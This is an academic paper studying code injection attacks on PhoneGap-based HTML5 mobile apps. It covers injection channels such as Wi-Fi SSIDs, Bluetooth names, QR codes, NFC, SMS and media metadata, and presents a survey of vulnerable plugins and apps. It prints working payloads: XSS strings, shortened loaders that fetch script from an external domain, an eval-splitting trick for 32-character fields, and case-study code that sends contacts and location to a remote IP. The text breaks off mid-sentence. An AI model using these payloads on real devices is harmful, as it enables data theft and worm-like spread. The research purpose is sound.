Code Injection Attacks on HTML5-based Mobile Apps by Jin, Xing et al.
Code Injection Attacks on HTML5-based
Mobile Apps
Xing Jin, Tongbo Luo, Derek G. Tsui, Wenliang Du
Dept. of Electrical Engineering & Computer Science, Syracuse University, Syracuse, NY
Abstract—HTML5-based mobile apps become more and more
popular, mostly because they are much easier to be ported across
different mobile platforms than native apps. HTML5-based apps
are implemented using the standard web technologies, including
HTML5, JavaScript and CSS; they depend on some middlewares,
such as PhoneGap, to interact with the underlying OS.
Knowing that JavaScript is subject to code injection attacks,
we have conducted a systematic study on HTML5-based mobile
apps, trying to evaluate whether it is safe to rely on the web
technologies for mobile app development. Our discoveries are
quite surprising. We found out that if HTML5-based mobile
apps become popular–it seems to go that direction based on the
current projection–many of the things that we normally do today
may become dangerous, including reading from 2D barcodes,
scanning Wi-Fi access points, playing MP4 videos, pairing with
Bluetooth devices, etc. This paper describes how HTML5-based
apps can become vulnerable, how attackers can exploit their
vulnerabilities through a variety of channels, and what damage
can be achieved by the attackers. In addition to demonstrating
the attacks through example apps, we have studied 186 PhoneGap
plugins, used by apps to achieve a variety of functionalities, and
we found that 11 are vulnerable. We also found two real HTML5-
based apps that are vulnerable to the attacks.
I. INTRODUCTION
Finding free Wi-Fi access points, scanning 2D barcodes,
sending SMS messages and listening to music are very com-
mon practices that a typical mobile device user may do in
his/her daily life. It seems that nothing needs to be worried
about for these practices. That is true, but only for now.
An emerging technology trend that has been rapidly gaining
popularity in the mobile industry is going to change the
picture. When this technology becomes widely adopted, the
practice mentioned above can become risky. MP3 files, Wi-
Fi access points, SMS messages, and 2D barcodes can all
become vehicles for attackers to inject malicious code into
the smartphone, leading to damages. The attack does not stop
at one victim phone; it can be spread to other phones like a
worm. The more popular the technology becomes, the more
quickly such a worm can spread out.
This disrupting technology is the HTML5 technology, which
is the base for the HTML5-based mobile apps. Before this
technology is adopted by the app development for mobile
systems, mobile apps are typically written in the native lan-
guage that is supported by their OSes. For instance, native
Android apps are written in Java, and native iOS apps are
written in Objective-C. Porting apps from one platform to
another is difficult. Due to the popularity of Android and iOS,
developers usually do not have many choices, but to learn
two different systems and develop two versions for their apps
using different languages. If other OSes catch up to Android
and iOS, developers’ lives will become harder and harder.
HTML5-based mobile apps provide a solution to the above
problem. Unlike native apps, this type of apps are developed
using the HTML5 technology, which is platform agnostic, be-
cause all mobile OSes need to support this technology in order
to access the Web. HTML5-based apps use HTML5 and CSS
to build the graphical user interface, while using JavaScript for
the programming logic. Because HTML5, CSS, and JavaScript
are standard across different platforms, porting HTML5-based
apps from one platform to another becomes easy and transpar-
ent. Due to this portability advantage, HTML5-based mobile
apps are rapidly gaining popularity. A survey of 1200 app
developers carried out by Evans Data shows that 75% of them
are using the HTML5 technology [1]. A recent Gartner report
claims that HTML5-based web apps will split the market with
native apps by 2016 [2].
Unfortunately, the decision to use HTML5, JavaScript and
CSS to write mobile apps introduces new risks that do not
exist for native languages. The Web is still battling with the
Cross-Site Scripting (XSS) attack, which is caused by the fact
that data and code can be mixed together in a string, and the
technology can pick out the code from the string and run the
code. In mobile devices, data can come from untrusted external
entities; if they contain code and if the app is not aware of the
risk, the code from outside may be executed inside the app,
leading to security breaches. This paper conducts a systematic
study on such an attack. Our study has led to the following
discoveries and contributions:
• We have identified that HTML5-based mobile apps can
be attacked using a technique that is similar to the Cross-
Site Scripting attack. These attacks are real, and we have
found real-world apps that can be successfully attacked
using the technique. HTML5-based apps from all major
platforms can be affected, including Android, iOS, and
Blackberry.
• We present a systematic study to identify potential chan-
nels that can be used to launch the attack. We have proof-
of-concept attacks using most of the channels.
• We have identified challenges faced by attackers, and
have shown how they can be overcome.
II. BACKGROUND
HTML5-based mobile apps cannot directly run on most
mobile systems, such as Android and iOS, because these
systems do not support HTML5 and JavaScript natively; a web
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container is needed for rendering HTML5-based user interface
and executing JavaScript code. Most mobile systems have such
a container: it is called WebView in Android, UIWebView in
iOS, and WebBrowser in Windows Phone. For simplicity, we
only use the term WebView throughout the paper.
WebView. WebView was originally designed to allow native
apps to process and display web contents. It basically packages
the web-browsing functionalities into a class, which can be
embedded into an app, essentially making web browser a
component of the app. With the APIs provided by WebView,
mobile apps can also customize the HTML pages inside.
Since WebView is intended for hosting web contents, which
are usually untrusted, WebView, like browsers, implements a
sandbox, so JavaScript code inside can only run in an isolated
environment. Such a sandbox is appropriate for web contents,
but it is too restrictive for mobile apps: an app running in
an isolated environment cannot legitimately access the system
resources, such as files, device sensors, cameras, etc.
WebView allows applications to add a bridge between the
JavaScript code inside and the native code (e.g., Java) outside.
This bridge makes it possible for JavaScript code to invoke
the outside native code, which is not restricted by WebView’s
sandbox and can access system resources as long as the
app has the required permissions. Developers can write their
own native code to work with the code inside WebView, but
that lowers the portability of the app. The most common
practice is to use a third-party middleware for the native-
code part, leaving the portability issue to the developers of
the middleware. Well-established middlewares do support a
variety of mobile platforms.
Several middleware frameworks have been developed, in-
cluding PhoneGap [3], RhoMobile [4], Appcelerator [5], etc.
In this paper, we focus on the most popular one—PhoneGap.
However, our attacks can be applied to other middlewares.
We study the attack on the Android platform, but since apps
are portable across platforms, so are their vulnerabilities.
Therefore, our attacks also work on other platforms.
PhoneGap and PhoneGap Plugin. PhoneGap helps devel-
opers create HTML5-based mobile apps using the standard
web technologies. Developers write apps in HTML pages,
JavaScript code, and CSS files. The PhoneGap framework by
default embeds a WebView instance in the app, and relies
on this WebView to render the HTML pages and execute
JavaScript code.
PhoneGap consists of two parts (Figure 1): the framework
part and the plugin part, with the framework part serving as
a bridge between the code inside WebView and the plugin
modules, while the plugin part doing the actual job of inter-
acting with the system and the outside world. For each type
of resources, such as Camera, SMS, WiFi and NFC, there are
one or multiple plugins. Currently, the PhoneGap framework
includes 16 built-in plugins for apps to use directly. However,
if an app’s needs cannot be met by these plugins, developers
can either write their own plugins or use third-party PhoneGap
plugins. Currently, there are 183 third-party plugins available,
Fig. 1: The PhoneGap Architecture
and the number will definitely increase.
A plugin is mainly written in the language natively sup-
ported by its hosting mobile system, but to make it more
convenient for JavaScript to invoke plugins, many plugins
provide companion JavaScript libraries; some even provide
sample JavaScript code that teaches developers how to use
the plugins. When JavaScript code inside WebView needs
to access system or external resources, it calls the APIs
provided in the plugin library. The library code will then call
the PhoneGap APIs, and eventually, through the PhoneGap
framework, invoke the Java code in the corresponding plugin.
When the plugin finishes its job, it returns the data back to
the page, also through the PhoneGap framework. That is how
JavaScript code inside the WebView gets system or external
resources. Figure 1 depicts the entire process.
III. THE CODE INJECTION ATTACK
It is well known that the Web technology has a dangerous
feature: it allows data and code to be mixed together, i.e.,
when a string containing both data and code is processed
by the web technology, the code can be identified and sent
to the JavaScript engine for execution. This feature is made
by design, so JavaScript code can be embedded freely inside
HTML pages. Unfortunately, the consequence of this feature
is that if developers just want to process data but use the
wrong APIs, the code in the mixture can be automatically
and mistakenly triggered. If such a data-and-code mixture
comes from an untrustworthy place, malicious code can be
injected and executed inside the app. This is the JavaScript
code injection attack. A special type of this attack is called
Cross-Site Scripting (XSS), which, according to the OWASP
top-ten list [6], is currently the third most common security
risk in web applications.
A. The Overview
The decision to use the web technology to develop mobile
apps opens a new can of worms, making it possible for the
code injection attack to be launched against mobile apps;
this is much more damaging than the XSS attack on web
applications, simply because we give too much power to
the apps installed on our mobile devices. Moreover, in the
XSS attack, the channel for code injection is limited to web
application server, which is the only channel for untrusted data
to reach their victims. There will be many more exploitable
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(a) Basic Idea of the Attacks (b) Attacking with Malicious Code
Fig. 2: Code Injection Attacks on HTML5-based Mobile Apps
channels in the code injection attacks on mobile apps. A
common characteristic of these channels is that they all link the
mobile devices to the outside world, essentially allowing the
attacks from another device (not necessarily a mobile device).
Figure 2(a) illustrates the basic idea of the attack.
Since smartphones constantly interact with the outside
world, in addition to the traditional network channel, there are
many new channels for untrusted data to enter mobile devices.
For example, 2D barcodes, RFID tags, media files, the ID field
of Bluetooth devices and Wi-Fi access points, etc. Malicious
code can be embedded in data coming from these channels.
If the code mixed in the data does not get a chance to be
triggered, there is no risk caused by the code. That is why
apps written using the native language are immune to this
type of code injection attack. For example, even if attackers
can embed a Java code inside a 2D barcode, there is not much
chance for the code to be triggered mistakenly. This is not true
for the HTML5-based apps, due to the dangerous features of
the web technology. In particular, it is quite common for apps
to display the data coming from outside, such as displaying
the information in a 2D barcode. A number of APIs in the web
technology are quite “smart”: they can separate the data from
code, send the data to the HTML rendering engine and the
code to the JavaScript engine, regardless of whether running
the code is the developer’s intention or not. When the code gets
executed, it can leverage the permissions assigned to the app,
and launch the attacks on mobile devices, using the “windows”
on the WebView that is opened by the PhoneGap framework
and the HTML5 APIs.
B. Triggering the Injected Code
There are two common ways to cause the JavaScript code
inside a data string to be executed. One way is to use
the eval() API, which runs the string as a JavaScript
program. The risk is not high here, because the program-
mer knows that he/she is expecting code in the string. The
other way for code to be triggered is through the DOM
(Document Object Model) display APIs and attributes, such
as document.write(), appendChild(), innerHTML
(attribute), etc. Some jQuery display APIs can also trigger
DOM APIs Script Image API
and Attributes Tag Tag Usage
document.write() 3 3 6.80%
appendChild() 3 3 5.89%
innerHTML/outerHTML 5 3 6.02%
innerText/outerText 5 5 1.83%
textContent 5 5 3.27%
jQuery APIs
html() 3 3 16.36%
append/prepend() 3 3 17.28%
before/after() 3 3 7.33%
add() 3 3 5.24%
replaceAll/replaceWith() 3 3 0.52%
text() 5 5 4.19%
TABLE I: DOM (jQuery) Display APIs and Attributes (3
means that the code can be triggered; 5 means the otherwise.)
code, such as html() and append(), which eventually call
or use the DOM display APIs and attributes. These APIs and
attributes are used by JavaScript to display information inside
HTML pages (in PhoneGap apps, these pages are the user
interface). In this second case, triggering the code in the string
may be intentional for the Web because of the nature of the
Web, but it is seldom the developer’s intention in mobile apps.
Not all these display APIs and attributes can trigger code
inside a string; it all depends how the code is embedded. In an
HTML page, code is typically mixed with the data using two
approaches: using script or tag’s event attribute. The following
code gives an example for each of the approach:
1 // Using Script Tag.
2 <script>alert(’attack’)</script>...Data...
3 // Using the IMG Tag’s onerror attribute.
4 <IMG src=x onerror="alert(’attack’)">...Data...
When these two strings are passed to the DOM/jQuery
display APIs and attributes, the results regarding whether the
code alert(‘attack’) can be successfully triggered is
summarized in Table I. We also count how many PhoneGap
apps (among the 764 apps that we have collected) use each
particulate API and attribute in their code (the fourth column).
C. The Damage
The damage caused by the attack is summarized in Fig-
ure 2(b). There are three types of damage: one type is
3
caused by direct attacks on the victim’s device (marked by
the thin arrows in the figure), and the other two types are
propagation damage (represented by the wide arrows marked
with “Propagate” in the figure).
First, the injected malicious code can directly attack the
device through the “windows” that are opened to the code
inside WebView. Normally, JavaScript code cannot do much
damage to the device due to WebView’s sandbox, but to enable
mobile apps to access the system and device, many “windows”
have been created. These “windows” include the HTML5 APIs
(such as the Geolocation API) and all the PhoneGap plugins
that are installed in this app. It should be noted that PhoneGap
has 16 built-in plugins 1, so even if an app does not use
them, they are always available to the app and can be used by
the injected malicious code. These plugins include Contact,
File and Device plugins; they allow the malicious code
to access the system resources. Moreover, many PhoneGap
apps also include additional third-party PhoneGap plugins.
For example, the FaceBook plugin is included by 30% of
the PhoneGap apps. These plugins can also be used by the
malicious code.
Second, the injected malicious code can be further injected
into other vulnerable PhoneGap apps on the same device using
the internal data channels. Data sharing among apps is quite
common in mobile devices. For example, the Contact list is
shared, so when an app is compromised by an external attacker
via the attack, the malicious code can inject a copy of itself
into the Contact list. When another vulnerable PhoneGap app
tries to display the Contact entry that contains the malicious
code, the code will be triggered, and this time, inside the
second app. There are many internal data channels that can
be used, including Contact, Calendar, images and MP3/MP4
files on SD card, etc.
Third, the injected malicious code can turn the compromised
device into an attacking device, so it can use the same attack-
ing technique to inject a copy of itself into another device.
For example, if the compromised app has the permission to
send SMS messages, the malicious code can create an SMS
message containing a copy of itself, and send to all the friends
on the Contact list; it can also add the code in the metadata
field of an MP3 file, and share the file with friends; it can also
pretend to be a Bluetooth device with malicious code set in
the name field, waiting for other devices to display the name
inside their vulnerable apps. The more PhoneGap apps are
installed on devices, the more successful the propagation can
be, and the more rapidly the malicious code can spread out.
IV. CODE INJECTION CHANNELS
In this section, we conduct a systematic study to identify the
data channels that can be used for injecting code into mobile
devices. To demonstrate how these channels can be used in
our attack, we need to find apps that use the channels and
also display the data from the channels using the vulnerable
1This number may increase in the future, as more and more plugins are
integrated into the PhoneGap framework.
APIs. Given that there are only a few hundred PhoneGap apps
that we can collect, and most of them either do not use the
channels or do not display the data from the channels, it is
hard to use real apps to do the demonstration. Therefore, we
wrote our own PhoneGap apps to demonstrate the attack using
each channel, but for scientific merits, we strictly abide by
the following principles: (1) we use the existing PhoneGap
plugins, (2) if a PhoneGap plugin has its own JavaScript
library, we use it, (3) the vulnerable APIs that we use should
be commonly used by the existing PhoneGap apps, and (4)
the behaviors implemented in the PhoneGap apps should be
common in the existing apps, not artificial (we always show
the same behaviors from a real non-PhoneGap app as a proof).
All the attack demos are available in our website. [7]
A. ID Channels
In some scenarios, before a mobile device established a
connection with an external entity, it gets the ID from the
external entity, and displays that to the users. This creates
a channel between the device and the external entity, even
before they are connected. These types of channels include
Wi-Fi SSID and Bluetooth name. Here we use Wi-Fi SSID as
an example to study how such an ID channel can be used by
attackers to inject malicious code into mobile devices.
Wi-Fi Access Point. To find nearby Wi-Fi access points,
many smartphone users install Wi-Fi scanner apps, which
scan for all available Wi-Fi hotspots nearby, and display their
Service Set Identifiers (SSIDs) and other information to users.
Figure 3(a) shows the display results from WIFI Analyzer,
which is a free app downloaded from Google Play. There are
more than 250 similar apps in Google Play, some of which
are quite popular with more than ten million downloads.
Because of the popularity of such apps, it is not hard to
imagine that in the near future, some of the apps like this
will be HTML5-based. When that happens, the SSID field
of Wi-Fi will become a potential code injection channel. To
demonstrate the attack, we configure an Android phone so it
functions as an access point. Android allows us to set the SSID
to an arbitrary string for this access point, so we set the SSID
to the following JavaScript code:
<script>alert(’attack’)</script>
The first entry in Figure 3(a) displays the JavaScript code as
it is, i.e., the JavaScript code in SSID is not executed because
the app is written in Java. If the same app was implemented
using PhoneGap, the SSID will be displayed inside WebView.
This is where critical mistakes can be made. If the app uses
any of the vulnerable APIs to display SSIDs, the JavaScript
can be executed.
To prove this concept, we wrote a Wi-Fi scanner ourselves
using the PhoneGap framework and one of its Wi-Fi plugins.
Figure 3(b) shows the results. This time, instead of displaying
the code inside SSID, the code gets executed. We did not do
anything abnormal in this app. The API that we use to display
the SSID field is html(), which is used in 16.36% of the
PhoneGap apps collected by us. Even if we change the API
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to innnerHTML, which is safer than html() and does not
run the code inside the script tag, we can still succeed in
code injection. Full details will be given in Section V.
(a) Non-PhoneGap App (b) PhoneGap App
Fig. 3: Wi-Fi Finder Apps
BlueTooth. The attacker can also turn the mobile device
into a Bluetooth device, use a malicious JavaScript code as its
device name, and broadcast the name to nearby devices. Any
mobile device that is trying to pair with a Bluetooth device
using a vulnerable PhoneGap app is likely to become a victim.
B. Data Channels Unique to Mobile Devices
Other than getting data from the Internet, Wi-Fi, and Blue-
tooth, mobile devices also get data from many channels that
are not very common in traditional computers. For example,
most smartphones can scan 2D barcodes (using camera),
receive SMS messages, and some smartphones can read RFID
tags (NFC). These data channels make it very convenient for
users to get information from outside, so they are being widely
used by mobile applications. In our studies, we find out that if
these mobile applications are developed using the HTML5-
based technology, all these data channels can be used for
injecting code. Here we use barcodes as an example.
Barcode. Barcodes were originally scanned by special optical
scanners, but with the popularity of smartphones, it can now be
scanned by most mobile devices using camera and software.
Google’s Goggles app and third-party apps such as Scan are
the most used barcode scanner apps on Android devices. With
these apps, writing an app to read barcode is very simple: the
app can simply send an intent to the system; this intent will
trigger the installed scanner app, which will then scans the
barcode, converts the barcode image to data, and returns the
data back to the original app.
A common barcode used by smartphones is the 2D barcode
(or QR code), which can encode more than 2 Kilobytes of
text messages. Because of this capacity and the convenience of
barcode scanning, 2D barcodes are widely adopted in practice.
They are posted at store entrances to provide sales and
coupon information, on building doors to provide directions,
on product labels to provide additional information, and so
on. Because 2D barcodes are ubiquitous, scanning them has
already become a common practice in our lives. Not many
people consider barcode scanning risky.
JavaScript code can be embedded in 2D barcodes. If an
app is a native app, it is not a problem, as the code will
only be displayed, not executed. Figure 4(a) shows the display
of a native barcode-scan app. We did place some code in
the barcode, but from the figure, we can see that the code
is displayed. Unfortunately, if this is a PhoneGap app, the
situation will be quite different. We wrote such an app, and
when we use it to scan the same 2D barcode, the embedded
JavaScript code gets executed (see Figure 4(b)).
We have found a real barcode-scan app that is vulnerable
to our attack. We will provide full details in our case studies
in Section VII.
(a) Non-PhoneGap App (b) PhoneGap App
Fig. 4: Barcode Scanner
Near Field Communication (NFC). Attackers can inject
malicious code into NFC tags, place them in public places,
and entice users to tap on those tags. This is a passive
attack. Attackers can also launch an active attack by taking
a malicious NFC tag to their victims. In the tags, attackers
can specify which app should be invoked to receive the data
from the NFC tag. Therefore, when they bring their tags close
to a victim’s device, as long as the screen of the targeted device
is not locked, the device will automatically read the data from
the tag, and launch the specified app (usually a vulnerable
PhoneGap app) with the tag data.
SMS Message. Another type of content we may get from
outside is the SMS message. The attacker can inject malicious
script into the body of an SMS message, and send it to the
victim device. When this malicious SMS message is displayed
using vulnerable APIs in an HTML5-based app, the JavaScript
code can be successfully triggered.
C. Metadata Channels in Media
A very popular app of mobile devices is to play media,
such as playing songs, movies, and showing pictures. These
media files are downloaded from the Internet or shared among
friends. Since they mostly contain audio, video, and images,
it does not seem that they can be used to carry JavaScript
code. However, most of these files have additional fields called
metadata, and they are good candidates for code injection.
MP3, MP4, and Images. MP3, MP4, and image files are
standard formats for multimedia files. However, beside the
audio, video, and image data, they also contain metadata fields,
such as title, artist, album, etc. When users listen to songs,
watch videos and images using mobile apps, the information
in the metadata fields are often displayed, so users know the
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name of the songs/videos, the album they belong to, the names
of the artists, etc. Figure 5(a) shows the layout of a typical
MP3 player app. From the figure, we can see that JavaScript
code can be written into the metadata fields, but since the app
is a native Java app, the JavaScript code is only displayed, not
executed. Many apps display information in metadata fields,
such as iTune, Google Play Music, N7Player, etc. However,
if they are written in PhoneGap, the code embedded in the
metadata will get executed (see Figure 5(b)).
(a) Non-PhoneGap App (b) PhoneGap App
Fig. 5: Music Player Apps
V. OVERCOME THE LIMITATION
In the previous section, for the sake of simplicity, we use
alert to demonstrate that we can successfully inject code
through a variety of channels, but alert cannot do any mean-
ingful damage. In this section, we would like to investigate
how to write the malicious code that can achieve the maximal
damage. If there is no length limitation on the code, then
this is a trivial problem, as attackers can write whatever code
they want. Unfortunately, for the attacks studied in this paper,
length limitation is our greatest challenge. For example, in
our Wi-Fi attack, the channel that we use is the SSID field,
and this field can only contain 32 characters [8]. The question
is whether attackers can even launch any meaningful attack
under such a tight limitation, much less launching one with
maximal damage.
A. Length Limitation on Channels
To understand the length limitation, we have conducted a
systematic study on all the code-injection channels that we
have identified. The results are summarized in Table II.
Channels Fields Length Limitation
Wi-Fi SSID 32
BlueTooth DeviceName 248
NFC Content > 2000
SMS Message Body 140
QR Code Content > 2000
MP3/MP4 Title, Artist, Album, Composer > 2000Genre, Comment, Copyright > 2000
JPEG
Title, Artist, Comment > 2000
Copyright, Tag, Subject > 2000
Model 32
Maker 42
TABLE II: Length limitations
From the table, we can see that some channels do have
length limitations, especially the Wi-Fi, which is limited to
32 bytes. We will target this extreme case in the rest of this
section. To achieve the damage, the length of script can be
quite long, causing problems due to the length limitation. To
solve this problem, we can inject a short generic code to load
another code from an external URL. We can get a short URL
by using online URL shorteners or purchasing a short domain
name. We registered a domain name mu.gl for $49 per year.
However, the code still exceeds the length limit. In the next
section we will describe how to further shorten the code.
B. Shortening Malicious Code
There are several ways to include external JavaScript code.
We will show the shortest script to load external JavaScript
files for each case.
Using Script Tag. Using the <script> tag is a typical way
to include JavaScript code. In this case, we can omit “http:”
and “>”. The following code is the shortest script that we can
achieve; the total length is 28:
<script src=//mu.gl></script
Using Event Attribute. JavaScript can be included in
some HTML tags’ event attributes, such as the onclick,
onscroll, onerror, and onmouseover events. These
tags can be Button tag, A tag, img tag, etc. Here is an
example:
<img src onerror=jscode>
In the above code, we use an img tag. We intentionally do
not provide a source for the image, so an error will occur, and
the code specified by the onerror attribute will be triggered.
Code included in this way will bypass the filtering mechanism
implemented in innerHTML.
However, these attributes do not allow us to load JavaScript
code from an external URL; all the code has to be provided
in the attributes, making it difficult to achieve a great damage.
To overcome this problem, we use the injected code to
dynamically generate a script block, and specify that the code
in this script block comes from an external URL. Here is an
example, which has 99 characters:
<img src onerror=
d=document;
b=d.createElement(’script’);
d.body.appendChild(b);
b.src=’http://mu.gl’>
Many PhoneGap applications use JavaScript libraries to
make their programs much simpler. jQuery is a widely-used
library. If an app uses jQuery, we can shorten the above script
to 45 characters. This is achieved using jQuery’s getScript
API. Here is an example (we cannot omit “http:” here;
otherwise, getScript cannot recognize the HTTP scheme):
<img src onerror=$.getScript(’http://mu.gl’)>
C. Overcoming the Limitations
So far, the shortest malicious script that we can achieve
is 45, with the help of jQuery. While this script is fine for
most of the injection channels that we have identified, it still
exceeds the limits for channels like Wi-Fi’s SSID field, which
is limited to 32 characters. We need to find way to solve this
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problem. Our idea is to split the JavaScript code into several
pieces, and then use eval() to combine them together. For
example, we can break the above $.getScript example into five
pieces like the following:
1 <img src onerror=a="$.getScr">
2 <img src onerror=b="ipt(’ht">
3 <img src onerror=c="tp://mu.">
4 <img src onerror=d="gl’)">
5 <img src onerror=eval(a+b+c+d)>
In the above code, the length of each piece is 32 or less.
This method is generic, i.e., if the original code is longer,
we can just break it into more pieces. Our next challenge
is how to inject these pieces into the victim’s device. For
some data channels, this is easy, because these channels have
multiple fields that we can use. For example, JPEG has several
fields of metadata, so we just need five fields for the attack
to be successful. If the victim app displays all the five fields,
the malicious code will be executed successfully. Even if the
victim app only displays one field, we can split the five pieces
into five different JPEG files.
For Wi-Fi, there is only one field that we can use to inject
code; the question is how to inject the five pieces of code
listed above. There are two approaches. The first approach is
to use multiple Wi-Fi access points. For the above example,
the attacker needs to set up five access points, each using one
piece of the code as its SSID. If the victim uses a vulnerable
app to scan the nearby Wi-Fi, all these five pieces of malicious
code will be injected. We need to make sure that the last piece,
i.e., the one with eval(a+b+c+d) must be displayed on the
victim’s device after the first four are displayed, because it
depends on a, b, c and d being defined first. To achieve
the guarantee, we just need to make the fifth access point
broadcast its SSID last.
Attackers can also use one access point to launch the attack.
Most Wi-Fi scanning apps periodically refresh their screen to
update the list of Wi-Fi access points that can be detected. To
make our attack work, we do not need our malicious SSIDs
to be displayed at the same time; as long as each of them is
displayed, the code injected in the SSID field will be executed.
If all five pieces of code are executed, our attack will be
successful. Therefore, all we need to do is to use one access
point, but change its SSID to one of the five pieces of code,
one at a time, as long as the fifth one goes the last.
VI. PHONEGAP PLUGINS
PhoneGap apps need to use plugins to interact with the
entities outside WebView. In this section, we would like to find
vulnerable ones in these plugins. If a plugin is vulnerable, it
has to use vulnerable APIs to display the data that are retrieved
from an exploitable channel. For our investigation, we down-
loaded 186 third-party PhoneGap plugins from GitHub [9].
A. Exploitable Plugins
If a plugin is exploitable, it has to return data to the page
inside WebView, and the data are controllable by external
entities. Not all plugins fit into these requirements. We wrote
a tool to analyze the 186 plugins; we found that 58 plugins do
not return data at all, and another 51 plugins only return data
that are not controllable by attackers, such as boolean values,
constant strings, status data and etc. Namely, these data are
either decided by the system or fixed by the developer, so
it is impossible to use these channels to inject code. All the
other 77 plugins satisfy our requirements. They are further
divided into three categories based on where the data come
from (Table III).
Return Data Type # of Plugins
Non-Exploitable No Data 58Non-Exploitable Data 51
Exploitable
Web Data 24
Internal Data 38
External Data 15
TABLE III: Investigation on PhoneGap Plugins
Among the 77 plugins, 24 plugins obtain data from the
Web (e.g., PhoneGap plugins for accessing Facebook and
Twitter). Although the data may contain malicious code, the
risk (i.e., XSS) is well-known, so we will not focus on these
plugins. Another 38 plugins are for getting data (e.g. Calendar
and Contact data) from the resources on the device, i.e.,
the data channels are internal. These data can also contain
code. However, attackers have to install a malicious app that
can write malicious script to these resources first. When a
vulnerable PhoneGap app displays the contents from these
resources, the malicious script can be executed, with the victim
app’s privileges. These channels can also be used for spreading
malicious code from a compromised PhoneGap app to another
on the same device.
Our primary interests are in the “external data” cat-
egory, which contains 15 plugins. They obtain data from
external resources, and return the data to the page inside
WebView. We conduct a further study on them.
B. Vulnerable Plugins
Among the 15 plugins that we study, four are related
to speech recognition and credit-card scanner. Due to the
difficulty to speak JavaScript code and the difficulty to get
the scanner hardware, we did not study these four plugins.
Therefore, we narrow our investigation scope to 11 plugins.
Among these 11 plugins, five have companion JavaScript
code, including three Bluetooth plugins, one Wi-Fi plugin, and
one SMS plugin. After studying the code, we have identified
two purposes for the JavaScript code: one is to provide sample
code to developers, showing them how to use the plugins; the
other purpose is to provide JavaScript libraries, making it more
convenient to use the plugins. In both cases, if the JavaScript
code included in the plugins is vulnerable, they can lead to
quite significant damage, as most app developers may either
directly use the provided libraries or learn from the sample
code. From the JavaScript code included by these plugins, we
find that they either use innerHTML or html() to display
the data. Therefore, if the data contain malicious code, the
code will be executed. We have confirmed this hypothesis
using our experiments.
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For the other six plugins, although they do not provide
vulnerable JavaScript code, they are still potentially vulner-
able, because they do not filter out the code in the exploitable
channels. If they are used by PhoneGap apps that happen to
use vulnerable display APIs, the apps will be vulnerable. Due
to the common use of the vulnerable APIs among PhoneGap
apps (see Table I), we believe that the chance for developers
to use these APIs in conjunction with these plugins is high,
making the apps vulnerable. In the vulnerable apps from
Section IV, we have used these plugins (barcode scanner, NFC,
and SMS plugins). This verifies that the combination of these
plugins and careless API usages can lead to vulnerable apps.
VII. CASE STUDY
Having studied the potential attacks using the code written
by ourselves, we would really like to see whether any of the
existing real-world apps are subject to our attacks. For this
purpose, we launched a systematic search. We downloaded
12,068 free apps from 25 different categories in Google Play,
including Travel, Transportation, Social, etc., and we have
identified 190 PhoneGap apps. From the PhoneGap official
site [3], we collected another 574 free PhoneGap apps. In
total, we have 764 PhoneGap apps. Although this number is
relatively small compared to the number of apps in Google
Play, we believe that the number will significantly increase in
the near future, as HTML5-based mobile apps are becoming
more and more popular.
In order to know whether a PhoneGap app is vulnerable to
our attack, we wrote a Python tool using AndroGuard [10] to
scan these 764 PhoneGap apps, looking for the following:
• Does the app read external data from the channels that
we have identified?
• Does the app use vulnerable APIs or attributes to display
information?
• Is the displayed information coming from the channels?
We found the following: (1) 142 apps satisfy the first
condition. (2) 290 apps use at least one vulnerable APIs
or attributes to display information. Combing these two, we
found that 32 apps satisfy the first two conditions. Instead of
writing a complicated data-flow analysis tool to check the third
condition, we manually studied those 32 apps. Eventually, we
found two apps that satisfy all three conditions. That means,
they are potentially vulnerable. We tested them using real
attacks, and the results confirmed their vulnerabilities. We give
the details of our experiments in the rest of this section.
Case Study 1: The GWT Mobile PhoneGap Showcase
app. This is a PhoneGap demonstration app, which shows
developers how to use PhoneGap and its plugins. The app
includes all the built-in plugins and three third-party plugins—
the ChildBrowser plugin, Bluetooth plugin, and Facebook
plugin. The app has a full set of permissions for these plugins.
One of the functionalities of this app is to use the Bluetooth
plugin to list all the detected Bluetooth devices (usually neces-
sary for pairing purposes). Unfortunately, it uses innerHTML
to display the names of the Bluetooth devices. This API is
subject to code injection attack.
To launch attacks on this vulnerable app, we turn our
attacking device into a Bluetooth device, and embed some
malicious JavaScript code in the name field (the length limit
is 248, which is more than enough). As a comparison, we
also use a non-PhoneGap app to do the Bluetooth pairing.
Figure 6(a) shows the result, from which we can see that the
code is only treated as a pure text by the non-PhoneGap app.
The code is described in the following (we added some spaces
to the code to make it easier to read):
1 <img src=x onerror=PhoneGap.exec(
2 function(a){
3 m=’’;
4 for(i=0;i<a.length;i++){m+=a[i].displayName+’\n’;}
5 alert(m);
6 document.write(’<img
src=http://128.230.213.66:5556?c=’+m+’>’);
7 },
8 function(e){},
9 ’Contacts’,’search’, [[’displayName’],{}])>
The PhoneGap.exec() call eventually triggers a Phone-
Gap method (Java code) outside WebView. It needs five
parameters. The last three parameters, shown in Line 9, specify
the name of plugin (Contacts), the method (search) that
needs to be invoked in this plugin, and the parameters passed
to the method. Basically, these three parameters ask PhoneGap
to return the names of all the people in the device’s Contact.
If the PhoneGap.exec() call fails, the function in Line 8
will be invoked (it is set to empty). If the call succeeds, the
callback function specified in Lines 2 to 7 will be invoked,
and this is where the damage is achieved.
When this callback function is invoked, the data returned
from the PhoneGap plugin will be stored in the variable a,
which is an array containing the names retrieved from the
Contact. From Lines 3 and 4, we can see that the code
constructs a string called m from the Contact data. At Line
5, the string is displayed (see Figure 6(b)), but this is only for
demonstration purpose. The real attack is on Line 6, which
seems to create just an img tag, but its real purpose is to
invoke a HTTP GET request to a remote server (owned by the
attacker), with the stolen Contact data attached to the request,
essentially sending the data to the attacker.
As a demonstration app for PhoneGap, the vulnerability in
GWT Mobile PhoneGap Showcase has a much greater
impact than those in real apps, because app developers usually
learn how to write PhoneGap apps from such a demonstra-
tion app (the source code of this app is available from the
GitHub [11]). Before this paper is published, we will contact
the authors of this app, so the vulnerability gets fixed.
Case Study 2: The RewardingYourself app. This
app manages users’ miles or points in their loyalty program,
and find out how much they are worth. The app has all the
official PhoneGap plugins and a third-party barcode-scanner
plugin. When a barcode is scanned in this app, the data from
the barcode will be displayed using innerHTML, which is
vulnerable to code injection. We made a QR code that contains
the following script:
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(a) Non-PhoneGap Bluetooth
App
(b) GWT Mobile PhoneGap
Showcase App
Fig. 6: Bluetooth
1 <img src=x onerror=
2 navigator.geolocation.watchPosition(
3 function(loc){
4 m=’Latitude:’+loc.coords.latitude+
5 ’\n’+’Longitude:’+loc.coords.longitude;
6 alert(m);
7 b=document.createElement(’img’);
8 b.src=’http://128.230.213.66:5556?c=’+m })>
This code uses Geolocation.watchPosition() to steal the
